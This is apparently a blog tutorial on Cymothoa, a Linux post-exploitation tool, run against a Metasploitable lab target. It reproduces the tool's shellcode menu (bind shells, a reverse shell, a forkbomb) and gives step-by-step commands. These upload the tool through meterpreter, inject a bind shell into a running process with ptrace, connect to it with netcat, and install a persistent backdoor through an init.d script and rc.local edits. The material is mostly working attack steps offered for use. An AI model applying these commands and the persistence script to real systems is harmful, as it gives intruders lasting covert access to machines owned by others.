Cymothoa is a post-exploitation tool. It can be used to maintain access to an exploited system. Cymothoa injects a variety of shellcodes to running processes in a system. Almost all nix systems most of the Linux variants can be backdoored with cymothoa.

Cymothoa uses ptrace library in nix systems to evaluate running processes & inject shellcodes. The greatest advantage of this tool is that we need not create a separate process for the backdoor. While a process is running itself, we can infect a process and start a backdoor. Say for example, if we exploited a web server, hell sure apache2 or httpd or nginx or whatever the web server program is, will be turned on during boot. So we try to inject cymothoa to such service daemons & automate its start during boot. Let’s see it in action, but first, learn a bit about cymothoa



Syntax: cymothoa -p <pid> -s <shellcode_number> [options]
Main options:
	-p	process pid
	-s	shellcode number
	-l	memory region name for shellcode injection (default /lib/ld)
	  	search for "r-xp" permissions, see /proc/pid/maps...
	-m	memory region name for persistent memory (default /lib/ld)
	  	search for "rw-p" permissions, see /proc/pid/maps...
	-h	print this help screen
	-S	list available shellcodes

Injection options (overwrite payload flags):
	-f	fork parent process
	-F	don't fork parent process
	-b	create payload thread (probably you need also -F)
	-B	don't create payload thread
	-w	pass persistent memory address
	-W	don't pass persistent memory address
	-a	use alarm scheduler
	-A	don't use alarm scheduler
	-t	use setitimer scheduler
	-T	don't use setitimer scheduler

Payload arguments:
	-j	set timer (seconds)
	-k	set timer (microseconds)
	-x	set the IP
	-y	set the port number
	-r	set the port number 2
	-z	set the username (4 bytes)
	-o	set the password (8 bytes)
	-c	set the script code (ex: "#!/bin/sh\nls; exit 0")
	  	escape codes will not be interpreted...

0 - bind /bin/sh to the provided port (requires -y)
1 - bind /bin/sh + fork() to the provided port (requires -y) - izik <>
2 - bind /bin/sh to tcp port with password authentication (requires -y -o)
3 - /bin/sh connect back (requires -x, -y)
4 - tcp socket proxy (requires -x -y -r) - Russell Sanford (
5 - script execution (see the payload), creates a tmp file you must remove
6 - forks an HTTP Server on port tcp/8800 -
7 - serial port busybox binding -
8 - forkbomb (just for fun...) - Kris Katterjohn
9 - open cd-rom loop (follows /dev/cdrom symlink) -
10 - audio (knock knock knock) via /dev/dsp - Cody Tubbs (
11 - POC alarm() scheduled shellcode
12 - POC setitimer() scheduled shellcode
13 - alarm() backdoor (requires -j -y) bind port, fork on accept
14 - setitimer() tail follow (requires -k -x -y) send data via upd

Lab: Inject Backdoor into a Compromised Linux System

Scenario: We have an attacker system running Kali linux with IP, a target Linux system(metasploitable 2.0) with IP The story continues after the victim is exploited. I have already got a meterpreter shell connected to the victim.

I will explain in brief the procedure for this. Take a look at the following figure.


Post Exploitation & Backdooring Procedure with cymothoa.

Yes, that is the algorithm. I want you to understand the procedure rather than just copying the steps. We first exploit the system gain access to it. Then the rest is all about Maintaining access.

Then we can try uploading the existing cymothoa binary(/usr/bin/cymothoa or /usr/share/cymothoa) to the target & try executing it. But it failed for me all the time. So if it does, proceed to step 3 below. If it doesn’t, don’t worry, we have access to the system, we will download a new copy & install it.

After installation, try executing it. If the cymothoa banner comes, then the installation is successful. After this, we try infecting a running process & see if we can get a connection. Mostly this will succeed. If it doesn’t just try it with another process. But the problem with this is it only lasts for the present & not for the future.

Meaning, if the process dies or the system is rebooted, we won’t get the backdoor running. For this, we create a shell script and edit some boot time configurations in the victim & make a process infected each time the system starts or reboots. Thus we can have a persistent backdoor.

Enough Talk, Lets Attack!

Step 1: Download Cymothoa & Upload it to Victim

Download the latest version from the link below using the web browser in Kali Linux attacker machine.

Download Link:

Cymothoa being Downloaded in Kali Linux Attacker machine.

The default location is /root/Downloads. Remember this.

Now I have a meterpreter session running(How to gain access in Exploitation section.). Upload the downloaded archive to the victim. Optionally you can also download it directly to the victim (if you know).

meterpreter > upload Downloads/cymothoa<press tab> <space> /root/
meterpreter > shell
command: tar -xvf cymothoa< Enter full name here, Pressing tab key Doesen't work>
Uploading the archive to the victim.


Note: Every time you drop into a shell from meterpreter, the shell has limited capabilities. Tab key doesn’t work & vim doesn’t return a display. It crashes if we open something in vim or nano.

Step 2: Install Cymothoa & Execute.

While we are in the shell. Change directory to the location we uploaded the archive and give execute permissions. Then execute the “Makefile”.

command cd <location> 
command: chmod +x cymothoa<full name> -R 
command: ./Makefile
Change permissions

Now try to execute the file. Remember to be in the directory where you uploaded the archive.

Command: ./cymothoa
Cymothoa Installed


Step 3: Infect a running process.

Now find the processes running in the system & note the process id (pid).

command: ps -e
Running Processes in the victim

Now, infect the process with cymothoa.

syntax: ./cymothoa -p <pid> -s <shellcode number> -y <listening port>
command: ./cymothoa -p 5476 -s 1 -y 100

Tip: Remember to check whether the listening port(-y option) is already in use.

Now check if the port is open

command: netstat -l | grep 100<your port here>
Infecting a process with Cymothoa


Step 4: Try a netcat connection from the attacker machine.

Open up a new terminal in Kali Linux attacker system & initiate a netcat connection to the port we specified

command: nc 100 <give your victim ip & port>
Netcat Connection to Cymothoa Backdoor

There you have…!

Step 5: Prepare script, upload it & set up execution.

This is the hard part. If you have any idea about shell scripting you can understand. Or else try to learn some. Anyway, the script is very simple. It first extracts the pid of a service or a daemon. Checks if it is a number or not.

Sometimes a process will have child processes. So there will be more than one pids available. In that case it is essential to extract one pid alone from a list of pids. Then the script assigns the pid to a variable (say q here). Then executes cymothoa with value of the variable q as the value for the “-p” option. Here is the script.

p=`cat /var/run/`
#extracts the pid. Here replace the last with a process of your desire.
#example: p=`cat /var/run/`.
#Remember the chracter before cat & after pid is a backtick & not an inverted comma.
if [ "$p" -eq "$p" ] 2>/dev/null; then #checks whether it's a number or not.
q=`(echo $p | awk '{print $2}')` #takes the next row which will be a number. Here also it's a backtick
echo $q
exec /cymothoa-1-alpha/cymothoa -p $q -s 1 -y 100 # make sure to give absolute path of cymothoa in the victim.

Things to note:

  • When assigning the output of a command to a variable, a backtick is used.
  • Always give absolute & full paths whenever needed.
  • You can choose any service. A service which is likely to start at boot like apache2/crond/vsftpd/mysqld etc is appropriate.
  • Pid location is standard unix systems is ” /var/run/ “.
  • Make sure the listening port(-y option) will be unused by other services. Giving port 80 will be a bad idea if it’s a web server.

Copy the script to a file in the kali linux machine. Edit it accordingly and save it.

The Script

Drop back to meterpreter shell by pressing Cntrl+c & upload the script to /etc/init.d

meterpreter> upload /etc/init.d/ <replace by your filename>

Drop to the shell again by giving shell command & change permissions.

meterpreter> shell 
chmod +x /etc/init.d/ <replace by your file>
Uploading the Script

Now is the big part. We have to enable the script to run during boot time. this is simple, just add an entry to /etc/rc.local. But vim or nano will not be available.

Also if we cat the file(rc.local) there is a statement “exit 0” at the end. Any statements appended after this will not be executed. So we have to cut the last line, append our new line & then append the old exit line.

command: sed -i '$d' /etc/rc.local 
command: echo "sh /etc/init.d/" >> /etc/rc.local 
command: echo "exit 0" >> /etc/rc.local

Ensure it by

command: tail /etc/rc.local
Editing the Configuration
Editing the Configuration

Note: Here also give absolute paths when writing it to the rc.local file.

All SET..!

Now while in the shell, issue

command: /etc/init.d/rc.local start

If every step were right, you got it. Then try netstat while within the shell & see if the port is listening. If you are permitted, reboot the machine so that the shell & meterpreter session dies. Open a netcat to the victim after some time. You will be amazed.

Phew ! That was long but you will get very good results. I had to do a lot of research for each steps in the process & would definitely like your feedback. Try this out & please subscribe, comment & follow this blog everywhere.